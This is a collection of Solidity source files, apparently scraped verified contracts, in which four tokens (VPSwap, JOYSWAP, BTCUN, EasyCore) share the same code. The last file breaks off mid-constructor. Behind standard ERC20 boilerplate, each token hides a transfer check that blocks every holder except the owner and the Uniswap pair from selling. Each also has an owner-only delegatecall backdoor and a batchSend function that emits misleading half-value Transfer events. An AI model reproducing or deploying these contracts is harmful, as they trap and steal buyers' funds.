contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract Protocol is InitializableAdminUpgradeabilityProxy {}
|
DC1
|
pragma solidity ^0.5.17;
/*
VPSwap
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract VPSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
JOYSWAP
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract JOYSWAP {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*BTCUN total amount 2100
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-10-16
*/
pragma solidity ^0.5.17;
/*
* EasyCore
* TG: https://t.me/easycoretoken
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EasyCore {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
